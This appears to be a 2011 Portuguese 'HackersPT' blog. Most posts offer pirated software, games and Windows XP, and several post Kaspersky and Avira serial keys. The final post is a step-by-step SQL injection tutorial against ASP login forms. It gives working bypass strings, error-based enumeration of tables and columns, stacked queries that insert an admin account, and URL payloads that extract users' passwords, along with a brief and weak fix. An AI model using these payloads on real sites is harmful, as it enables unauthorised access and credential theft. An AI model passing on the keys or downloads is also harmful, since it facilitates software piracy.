HackersPT

Kaspersky Serials Todas as Versões

2011-06-02T21:01:00.002+01:00

Chaves de Todas as versões do Kaspersky.

02-06-2011

CS 1.6

2011-06-02T20:49:00.002+01:00

É um jogo de tiro em primeira pessoa baseado em rodadas no qual equipas de contra-terroristas e terroristas combatem-se até a vitória. Requer muita estratégia, trabalho de equipa, e habilidade para ser um vencedor. É acessível através do Steam. O jogo inicialmente era para ser um mod para o Unreal Tournament, mas a Valve Software viu uma oportunidade no jogo e comprou-o.

O Counter-Strike foi um dos responsáveis pela massificação dos jogos por rede no início do século, sendo considerado o grande responsável pela popularização das LAN houses no mundo. O jogo é considerado um "desporto electrónico". Muitas pessoas levam-no a sério e recebem ordenados fixos, existem mesmo clãs profissionais, e que são patrocinados por grandes empresas como a Intel e a NVIDIA.

Pelo mundo existem ligas profissionais onde o Counter-Strike está presente, como o caso da CPL (que encerrou suas atividades em 2008), ESWC[2], ESL[3], WCG[4] e WEG[5]. No caso da ESWC funciona da seguinte forma: cada país tem as suas qualificações no qual qualquer clã pode ir a uma qualificação em uma lan house em qualquer parte do mesmo país, passando depois às melhores equipes, as melhores equipes de cada país encontram-se depois no complexo da ESWC, localizado em Paris, para disputar o lugar da melhor equipe do mundo de Counter-Strike.

Com a chegada da sequência de Half-Life, Half-Life 2, o Counter-Strike ganhou uma versão com gráficos mais actualizados chamada de Counter-Strike: Source[6], também acessível pelo Steam. Apesar de contar com gráficos mais bem elaborados e correção de erros, essa versão não é oficialmente utilizada nas maiores ligas competitivas principalmente devido a menor divulgação dessa versão e de inúmeras inovações consideradas negativas com relação ao ritmo de jogo, que nessa nova versão é sensivelmente mais lento do que nas antecedentes.

Em 2008, o público descobre que está sendo desenvolvida uma nova versão do jogo, denominada: Counter Strike Online. Esta, por sua vez, é um melhoramento de Counter Strike Condition Zero, apresentando novas armas e mapas. Porém, está foi por outra empesa: a Nexon, e está focada no mercado asiático, pois apresenta como modos de jogador, tropas de elite asiáticas.

Download

Adobe Acrobat 9 Final

2011-06-02T19:35:00.001+01:00

O Adobe Acrobat 9 é a ferramenta de edição de PDFs da Adobe, em nova versão e com um visual moderno.Com ele você poderá escrever e organizar seus documentos (que podem conter diversas fontes, como documentos do Word, e-mails, páginas da internet, planilhas eletrônicas, etc.) com o formato PDF, fazendo integrar o seu conteúdo e deixando-os com um visual elegante e prático, além da possibilidade de inserir comentários

Eset Smart Security 4 32/64 bit Final

2011-06-02T19:09:00.001+01:00

O ESET Smart Security é a protecção mais eficaz que pode usar para combater os elevados volumes de ameaças de e-mail e Internet. Combina a premiada protecção proactiva antivírus e antispam do ESET NOD32® com uma poderosa, mas fácil de usar, firewall pessoal e tecnologia antispam robusta.

Funcionalidades Principais

Verificador Inteligente — As ameaças nem sempre entram por onde possa esperar. O ESET Smart Security inspecciona comunicações encriptadas baseadas em canais SSL como HTTPS e POP3S, e verifica inteligentemente ficheiros comprimidos em busca de ameaças que outros produtos possam deixar escapar. A funcionalidade de optimização inteligente torna a verificação de ficheiros mais rápida que nunca.

Firewall Fácil de Usar — O novo modo de Aprendizagem na firewall pessoal poupa-lhe tempo ao criar regras automaticamente consoante a utilização que dá ao computador, oferecendo modos de configuração avançados para utilizadores mais experientes.

Antispam Melhorado— O ESET Smart Security lida com maçadoras mensagens de spam de forma ainda mais rápida e eficaz graças às constantes melhorias do seu filtro antispam.

Segurança de Armazenamento Amovível — As ameaças podem entrar no seu PC através de dispositivos de armazenamento amovíveis como drives USB. Para suportes com auto-execução, o ESET Smart Security verifica os ficheiros autorun.inf e outros ficheiros associados, como complemento à verificação de qualquer ficheiro que seja acedido, ou durante uma verificação total do suporte amovível. Utilizadores avançados poderão executar mais níveis de verificação nestes dispositivos.

Ferramentas de Sistema — O ESET SysInspector e ESET SysRescue são duas funcionalidades que irão simplificar o diagnóstico e limpeza de sistemas infectados, permitindo verificações em profundidade de processos de sistema para localizar ameaças escondidas, e criar um CD/DVD ou drive USB de arranque de emergência ajudando-o a reparar um computador infectado.

Auto-Defesa — O ESET Smart Security tem incorporada uma tecnologia para prevenir que software malicioso possa corromper ou desabilitar os mecanismos de protecção, pelo que poderá ficar descansado que terá o seu PC sempre protegido.

Melhorias na Utilização — O ESET Smart Security tem novos upgrades de velocidade, segurança e utilização.

Modo automático de energia por bateria estende a vida da bateria do seu portátil sem comprometer a segurança

Um ecrã de Estado de Protecção Avançada informa-o das ameaças detectadas

Janelas de informação 'pop-up' são escondidas enquanto usa aplicações que requerem ecrã inteiro, como jogos, filmes ou apresentações

Protecção por palavra-passe evita que o ESET Smart Security seja desinstalado por estranhos

Nova interface e atalhos de teclado simplificam a utilização por utilizadores cegos

Principais Benefícios

Protecção do Desconhecido — A nossa premiada tecnologia ThreatSense utiliza várias camadas de detecção de ameaças para fornecer a mais eficaz protecção possível contra ataques. E a ThreatSense é inteligente pois não só gera menos alarmes (incómodos) de falsos positivos que qualquer outro produto que utilize heurísticas, como é capaz de encontrar o malware que outros produtos antivírus não detectam.

Construído para Velocidade — O ESET Smart Security é realmente rápido, tão rápido que nem sequer dará pela sua presença no sistema. Mesmo operações intensivas no disco rígido, como executar uma "verificação total de disco" serão executadas em fundo enquanto continua a trabalhar.

Leve no Sistema — O ESET Smart Security é de facto leve, utilizando apenas 48 MB de memória, uma fracção do que outros produtos consomem. Porque é rápido e "leve", actualizar uma solução de segurança Internet para ESET Smart Security, pode mesmo parecer que comprou um novo computador. Os utilizadores de portáteis ficarão satisfeitos com o novo modo automático de poupança de energia enquanto estiverem a usar apenas bateria.

Leve também para Si — Pela sua interface gráfica compacta e intuitiva, com utilização mínima de alertas, firewall com auto-aprendizagem e outras novas funcionalidades, o ESET Smart Security é ainda mais fácil de usar.

Certificações
ICSA Labs
Virus Bulletin
AV-Comparatives
West Coast Labs
OPSWAT

Testes Código da Estrada

2011-06-02T18:21:00.000+01:00

Testes de Código . Versão de Portugal.

Parte

Parte

Windows XP Service pack 3

2011-05-30T18:15:00.001+01:00

Windows XP completo já com o service pack 3 incluido.

Call of Duty 4 Completo

2011-05-30T17:03:00.001+01:00

Call of Duty 4: Modern Warfare é um jogo de tiro em primeira pessoa, que se passa em tempos modernos. Ao contrário de toda a franquia, o jogo não retrata os campos de batalha da Segunda Guerra Mundial, mas, principalmente, cenários da Rússia e do Oriente Médio, nos quais o jogador assumindo o papel de militares da Força Especial britância SAS e da Force Recon, as Forças Especiais da Marinha dos EUA. Apesar do fundo histórico ser outro, Modern Warfare mantém o mesmo ritmo de ação acelerado que consagrou a franquia, colocando o jogador em missões, em que se controla as armas do avião de ataque AC-130, e os helicópteros Blackhawk e H1 Super Cobra, além dos mais variados veículos terrestres de guerra. Como o jogo se passa em novo cenário, os fãs da franquia dispõem de um arsenal moderno, entre os quais se destacam lança-granadas, sub-metralhadoras, mísseis guiados, rifles de assalto e pistolas automáticas. Call of Duty 4: Modern Warfare se destaca como um dos shooters mais esperados da nova geração, apresentando gráficos que levam ao máximo as capacidades de hardware de cada console, com cenários e modelos de personagens realistas e uma jogabilidade fluida, principalmente, nos momentos de maior ação.

Nome: Call of Duty 4: Modern Warfare
Fabricante: Infinity Ward
Estilo: Ação/Guerra
Plataforma: PC
Lançamento: 2008
Idioma: Inglês
Tamanho: 6.32 Gb
Formato: ISO
Servidor: Vários
Requerimentos mínimos:
– Processador: Intel Pentium IV 2.4GHz ou AMD Athlon 64 2800+;
– Memória RAM: 512MB;
– Placa de vídeo: 3D de 256mb, NVIDIA GeForce 6600 / Radeon 9800, ou melhor;
– Espaço HD: 8GB;
– Placa de Som: compatível com DirectX 9.0c;
– Unidade de Leitura: DVD-ROM;
– Sistema Operacional: Windows XP / Vista;
– DirectX 9.0c.

Requerimentos recomendados:
– Processador: Intel Core 2 Duo 2.2GHz ou AMD Athlon 64 X2 equivalente;
– Memória RAM: 1GB (2GB para Vista);
– Placa de vídeo: GeForce 7800 ou Radeon X1800;
– Espaço HD: 8GB;
– Placa de Som: Creative Sound Blaster X-Fi SoundCard c/ suporte à EAX Advanced 4.0/5.0;
– Unidade de Leitura: DVD-ROM;
– Sistema Operacional: Windows XP / Vista;
– DirectX 9.0c.

2011-05-29T22:19:00.000+01:00

Keys para Todas as versões do Kapersky.

Sairam agora do forno 29/05/2011.

Em exclusivo no HackersPT

Tutorial de como activar o Kapersky :

Pack Updates Wow

2011-05-29T22:07:00.000+01:00

Todos os updates do World of Warcraft até á data presente!

SpeeUpMyPc 2011 Ultima versão

2011-05-28T16:29:00.000+01:00

Um dos melhores programas de optmização para o teu pc, leve e efeciente.

Que mais poderias esperar?

Sempre com todas as novidades...

Team HackersPT .

Easus Partition Master Pro 2011

2011-05-28T16:22:00.000+01:00

Ainda pensa que é preciso formatar o computador só para particionar um disco rígido? EASEUS Partition Master Pro é uma ferramenta amigável e bastante fácil de usar. Além de visualizar gráficos multicoloridos e informações claras na tela, ele acompanha-o nas mais diversas ferramentas para discos rígidos. Mova, redimensione e copie partições inteiras, desfragmente discos e analise a integridade de seu hardware sem precisar de qualquer conhecimento técnico.

Revo UninstallerPro

2011-05-27T14:14:00.000+01:00

O Revo Uninstaller é a ferramenta perfeita para você desinstalar por completo todos os programas que desejar, sem deixar nenhum vestígio. Além de oferecer um algoritmo avançado para a busca e remoção dos arquivos, também conta com uma série de ferramentas para deixar o seu PC limpo e eficiente!

Alcohol 120

2011-05-27T11:48:00.000+01:00

O Alcohol é um programa que pode emular e gravar CDs e DVDs. Isto significa que não somente você grava mídias, mas mantém cópias de segurança como imagens no seu computador. Esses backups podem ser executados diretamente do computador sem a necessidade de gravá-los novamente em um CD ou DVD.

Desta maneira você mantém suas mídias intactas, diminuindo o risco de perdê-las por riscos ou excesso de uso. Quem adquiriu aquele software caríssimo ou aquele precioso DVD pode usar uma cópia de direito e guardar o original.

Trabalhando com drives virtuais

Para acessar o conteúdo de uma imagem, o Alcohol 120% cria um drive virtual em seu computador. Este drive é capaz de identificar e acessar o conteúdo da imagem sem gravá-la em uma mídia física. Um dos benefícios deste processo é a velocidade: a leitura de um CD ou DVD é consideravelmente menor do que a execução de um arquivo de imagem. O Alcohol 120% é o único programa do mercado que pode criar até 31 drives virtuais.

Quem não está muito por dentro do processo de criação e uso de imagens pode utilizar os assistentes do Alcohol 120%. Já na janela principal do programa, você visualiza ícones que lhe guiam facilmente para usar o software: assistente para criação e gravação de imagem, para cópia de CD/DVD, localizador de imagem, gerenciador de CD/DVD, assistente para formatar CD/DVD e o assistente Xtra.

The Cleaner 2012

2011-05-26T21:58:00.000+01:00

The Cleaner 2012 é um sistema de programas projetados para manter seu computador e dados protegidos de Trojans / worms / Keyloggers / spywares e todo tipo de malware. Ao monitorizar activamente os arquivos e processos em seu computador que pode detectar um vírus em ação e pegá-lo antes que ele tenha uma chance de fazer qualquer dano a seus dados valiosos.

Kapersky Serials 2011

2011-05-26T19:29:00.000+01:00

Versões disponiveis:

Kaspersky Anti-Virus 5
Kaspersky Anti-Virus 6
Kaspersky Anti-Virus 7
Kaspersky Anti-Virus 8
Kaspersky Anti-Virus 2010
Kaspersky Anti-Virus 2011
Kaspersky Anti-Virus for WKS & FS
Kaspersky OpenSpace Security
Kaspersky Personal Security Suite 2.0
Kaspersky Internet Gateway
Kaspersky Internet Security 6
Kaspersky Internet Security 7
Kaspersky Internet Security 8
Kaspersky Internet Security 2010
Kaspersky Internet Security 2011

Chaves actualizadas: 26/05/2011

Serial Avira Premium 2011

2011-05-26T19:07:00.000+01:00

Novo serial do Avira Premium 2011.

Para quem necessita aqui tem...

Download

HidingSpot 2011

2011-05-26T11:31:00.000+01:00

Hiding Spot é um software que permite esconder ficheiros dentro de imagens JPG.
Com o Hiding Spot pode esconder qualquer tipo de ficheiros confidenciais dentro de uma imagem (fotografia, wallpaper...), proteger com palavra passe e extrair mais tarde.
A imagem que contem os ficheiros vai se comportar como uma imagem normal podendo ser visualizada, movida e copiada sem perder os ficheiros nela contidos.
Nesta versão a interface foi melhorada.

Programa elaborado por um colega meu .

Todos os direitos reservados a ele.

Download

Driver Genius Professional 10.0.0.761

2011-05-26T11:20:00.000+01:00

Ferramenta que faz backup, update e restaura seus drivers. O programa é capaz de detectar todos os drivers de seu computador, fazendo backup dos mesmos ou pesquisas para encontrar versões mais recentes na Internet.

Download

SUPERAntiSpyware Professional v4.53.1000

2011-05-25T21:20:00.000+01:00

SUPERAntiSpyware Professional é um software útil e extremamente poderoso que irá detectar e remover milhares de spywares, adwares, Malwares, Trojans, KeyLoggers, Dialers, Hi-Jackers e Worms. SUPERAntiSpyware possui muitas características únicas e poderosas a nível tecnologico e remove spyware, e ameaças que outras aplicações não conseguem remover. SUPERAntiSpyware Professional inclui Real-Time block de ameaças, Verificação programada e alertas ao cliente via e-mail.

Caracteristicas:
* Rápido, Completo e personalizado no scan de Discos Rígidos, memória, registo, pastas individuais e muito mais! Inclui exclusão de Pastas para personalização completa!
* Detectar e remover spyware, adware, Malware, Trojans, Dialers, Worms, keyloggers e muitos outros tipos de ameaças.
* Real-Time block de ameaças! Prevenir software potencialmente nocivo de instalar ou reinstalar!
* Programação quer Rápida, Completa ou Personalizada de scan diário ou semanais para garantir que seu computador está livre de software nocivo.
* Quarentena: coloca itens detectados e removidos para a proteção completa. Itens em quarentena podem ser restaurados para o seu computador se desejar.
* Scan detalhado e logs com informações completas sobre as ameaças detectados e removidos e suas localizações dentro do seu computador. Scan logs lhe permitirá rever os resultados da verificação prevista a qualquer momento.

Download

2011-05-25T00:02:00.000+01:00

50 Hacks para o Windowns XP

2011-05-24T21:52:00.000+01:00

Um excerto de um livro que parece interessante. Tem alguns temas básicos e giros!! Divirtam-se!

Download

SQL Injection

2011-05-24T21:07:00.000+01:00

1 - Modo Básico, passando por senhas em sites.

Hoje em dia é uma prática comum os sites pedirem um registo do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Registo esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.

Em sites onde o registoo é pago, a coisa muda de figura. O site imagina estar a vender alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.

O que venho apresentar, jogará o seu login no vento e o site arderá no mármore do inferno, mas só vou falar como funciona porque Alah mandou e estava escrito com o bit sagrado.

Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.

Vamos a lógica:

O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuário, Senha, Nome e Admin. Esses campos irão informar-nos exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.

Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.

Vamos a prática:

Dentro desse script .asp, o programador colocou algo desse tipo:
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))

‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados

if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if

Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.

Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.

select usuario, senha, nome, admin from Users where usuario= ' cUser ' and senha= ' cSenha ';

Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.

Traduzindo a string acima, teríamos:
select usuario, senha, nome, admin from Users where usuario= 'geek' and senha= 's3nh4'

Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.

Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.

Vamos ao erro:

Se quando formos digitar um login, tivermos essa string de programação do Sql na cabeça, podemos formar outra facilmente, que injeta um comando de Sql, dentro do que o programador já fez.

Ou seja, se eu digitar Mario no username, o Sql ficará:
select usuario, senha, nome, admin from Users where usuario= 'Mario' and senha= 's3nh4'

Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.

Agora, se digitarmos no username Ma'rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:
select usuario, senha, nome, admin from Users where usuario= 'Ma'rio' and senha= 's3nh4'

Analisando, vemos que quando for-mos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma (Mario) e fechamos a aspa simples. Para o Sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.

Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não lhe damos, e aproveitando, injetamos um comando ?

Imagine se usarmos a string ' or '1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:

select usuario, senha, nome, admin from Users where usuario= '' or '1' and senha= 's3nh4'

Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuário que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela vai buscar todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.

Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:

select usuario, senha, nome, admin from Users where usuario= ''or '1' and senha= '' or '1'

Retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).

Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.

Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.

Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.

Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.

E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)

Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).

A string que passa pelos e-mails é:
eu@eu.com'or'.11'='.11
Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um domínio com subdomínio.

Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?

Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:

O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))

‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)

SQLOpen = select usuario, senha, nome, admin from Users where usuario= ' cUser ' and senha= ' cSenha '

objRS.Open SQLOpen, objConn

‘ Verifica se achou um usuário com o login e senha informados

if not objRS.bof then

if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if

else
response.write Login inválido.
end if

Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.

Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuario e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.

Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.

Modo Avançado: buscando e alterando dados.

Agora que você já sabe como entrar num site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.

Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro.

Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:
http://www.siteemasp.tld/arquivo.asp?user=comandos em sql

Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)

Vamos falar um pouco sobre a teoria

No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.

Só pra ilustrar, o caractere de comentário são dois sinais de menos “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere asterisco “*” significa todos os campos da tabela.

Finalmente, vamos a prática…

Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J

Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:

SQL = “Select * from usuarios where username=’” & user & “’ and pass=’” & pass & “’”

A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.

No campo de usuário, se você colocar o conteúdo:
Usuário: admin’ –
Senha: xyz

O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.

O caractere - - no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:

SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “

Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.

Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.

Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:

Citação: Usuário: ’ having 1=1 –
Senha: xyz

O erro dado será parecido com o abaixo:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94

Agora, você jí sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.

Se fosse usada uma string do tipo:

Citação: SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”

O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.

Se você agora montar uma outra string dentro do campo nome, irí saber o próximo campo da tabela:

Usuírio: ’ group by usuarios.codigo having 1=1 –
Senha: xyz

Isso irí produzir o seguinte erro:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/arquivo.asp, line 94[/QUOTE]

Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:

Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –

Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.

Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:

Usuário: ’ union select sum(login) from usuarios –

O erro aparece como:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94

Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94

Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.

Usuario: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –

Preciso explicar!? JBem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.

Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.

Uma técnica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daà, podemos descobrir um usuário fazendo o seguinte esquema na URL:

http://www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –

O erro retornado será assim:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94

Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.

Agora, podemos também descobrir sua senha, dessa forma:

www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘14quatorze’ to a column of data type int.
/arquivo.asp, line 94

Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberemos a senha dele, do mesmo jeito.

